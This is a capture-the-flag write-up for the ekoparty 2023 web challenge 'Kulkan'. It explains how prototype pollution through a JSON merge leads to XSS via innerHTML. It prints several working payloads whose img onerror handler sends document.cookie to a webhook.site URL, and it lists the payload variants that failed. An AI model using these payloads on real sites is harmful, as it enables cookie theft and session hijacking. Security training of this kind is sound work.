Write-ups/ekoparty-ctf-2023/web/Kulkan.md
2023-11-02 20:36:19 +05:30

2.5 KiB

Challenge name: Kulkan

Category: Web

Points: 438

Solves: 38+

Given information

A Messi compliment engine for Messi fans is here at penetration-testing.com

Kulkan Security delivers penetration testing and vulnerability assessment services to International markets. Our team of security experts will plan and execute controlled attacks and partner up with your company in an effort to identify, mitigate and remediate security vulnerabilities.

Solution

User input is to be fed into DOM via innerHTML. The value of randomObject.win is fed into a div's innerHTML and so it must contain the script <img onerror="fetch('https://webhook.site/abcdef?a='"+document.cookie)" src='x'>.

challenge.js:

let randomObject = {};

// ...

let config = JSON.parse(<user input>);

let defaultConfig = { color: "blue", fontSize: "16px" };

mergeObjects(defaultConfig, config); // copies all properties from config to defaultConfig
// defaultConfig["__proto__"] = '{"win" : "xss"}' sets win for every object that exists

// ...

if (randomObject.win) {
    complimentDiv.innerHTML = randomObject.win;
}

Like the Object class which is the superclass of every class in Java, very JS object inherits the properties of the __proto__ object. Setting __proto__'s win property to the required script automatically includes it in randomObject object.

console.log(randomObject); still returns {} but console.log(randomObject.win); now returns the value of the win property contained in __proto__ instead of undefined.

Hence the payload:

https://www.penetration-testing.com/?input_json={"__proto__":{"win":"<p>hi</p><img onerror=fetch('https://webhook.site/abcdef?a='%2Bdocument.cookie) src=x>"}}

%2B is "+"


Things that didn't work:

  • input to JSON.parse can't contain backticks or trailing comma like {"a":1,}
  • backticks substitution like
\`https://webhook.site/abcdef?a=${document.cookie}\`
  • Including all the quotes that are used while testing on console: when sent as a URL param they get encoded, for e.g. during testing
JSON.parse('https://www.penetration-testing.com/?input_json={"__proto__":{"win":"<p>hi</p><img onerror=fetch(\'https://webhook.site/abcdef?a=\' + document.cookie) src=\'x\'>"}}');

works fine but when sent in URL it turns into

https://www.penetration-testing.com/?input_json={"__proto__":{"win":"<p>hi</p><img onerror=fetch(\\'https://webhook.site/abcdef?a=\\' + document.cookie) src=\\'x\\'>"}}

Learnt to use quotes as frugally as possible.